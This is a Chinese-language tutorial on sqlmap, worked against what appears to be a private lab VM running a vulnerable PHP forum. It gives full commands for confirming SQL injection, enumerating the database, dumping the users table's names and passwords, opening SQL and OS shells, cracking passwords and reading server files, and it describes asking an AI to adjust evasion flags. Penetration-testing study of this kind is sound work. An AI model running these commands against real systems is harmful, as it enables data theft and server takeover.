SQLMap工具运用

概念

官⽹：https://sqlmap.org/
作⽤：sqlmap是⼀个开源的渗透测试⼯具，它可以⾃动化检测和利⽤SQL注⼊漏洞并接管数据库服务器。它有⼀个强⼤的检测引擎，许多适合于终极渗透测试的良好特性和众多的操作选项

注意：kali⾃带

使⽤实战

简单帮助： python sqlmap.py -h 详细帮助： python sqlmap.py -hh 清除缓存： python --purge

基本操作

物理机：cmd ipconfig VMnet8：

获取服务器的IP地址，实战中体现在信息收集这一环,或者是与企业合作的白盒测试。

使用Kali带的SQLmap检测漏洞：

sqlmap -u 'http://192.168.162.129/bbs/bbs/showmessage.php?id=3'

✅ 注入结果总结

从 sqlmap 日志可以看出，你已经成功拿下目标http://192.168.162.129/bbs/bbs/showmessage.php?id=3的 SQL 注入漏洞，核心信息如下：

🔍 已确认的注入类型

sqlmap 识别出id参数存在4 种可利用的注入方式：

1. 布尔盲注（Boolean-based blind）
   • 利用页面真假响应差异判断数据，Payload 示例：id=3 AND 9285=9285
2. 报错注入（Error-based）
   • 基于 MySQLEXTRACTVALUE函数的报错回显，可直接获取数据
3. 时间盲注（Time-based blind）
   • 基于SLEEP()函数的延迟判断，适用于无回显场景
4. UNION 查询注入（UNION query）
   • 目标表共4 列，可直接通过UNION ALL SELECT拼接查询结果

📊 目标环境信息

• 后端数据库：MySQL ≥ 5.1
• Web 服务器：Apache 2.4.23 + PHP 5.4.45
• 操作系统：Windows
• 数据已保存至：/root/.local/share/sqlmap/output/192.168.162.129/

查询当前数据库：

sqlmap -u "http://192.168.162.129/bbs/bbs/showmessage.php?id=3" --current-db

这里在执行过程中发现并没有爆出数据库名字所以把这张图片丢给ai，把上方命令输入对话框并对ai说把这个命令改为可执行命令，以后遇到类似问题可以灵活变通。

sqlmap -u "http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3" --current-db --random-agent --tamper=space2comment --no-cast

得到数据库名叫jrlt，接下来查寻数据库有哪些表

当前库有哪些表：

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' -D jrlt --tables

看到存在messages和users表

某表有哪些字段：

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' -D jrlt -T users --columns

列出内容（数据）：

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' -D jrlt -T users -C name,password --dump # 卡住的话 不停的 敲回⻋ 输⼊y

成功爆出最终数据

拓展操作

（命令都是在有SQL漏洞的前提下组装的）

执⾏sql（# 卡住的话 不停的 敲回⻋ 输⼊y）

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' --sql-shell select * from messages exit # 退出输⼊

弱密码爆破

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' --password

执行系统命令

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' --os-shell dir ... exit # 退出输⼊

读取文件

sqlmap -u 'http://192.168.162.129:90/bbs/bbs/showmessage.php?id=3' --file-read "D:\e.txt"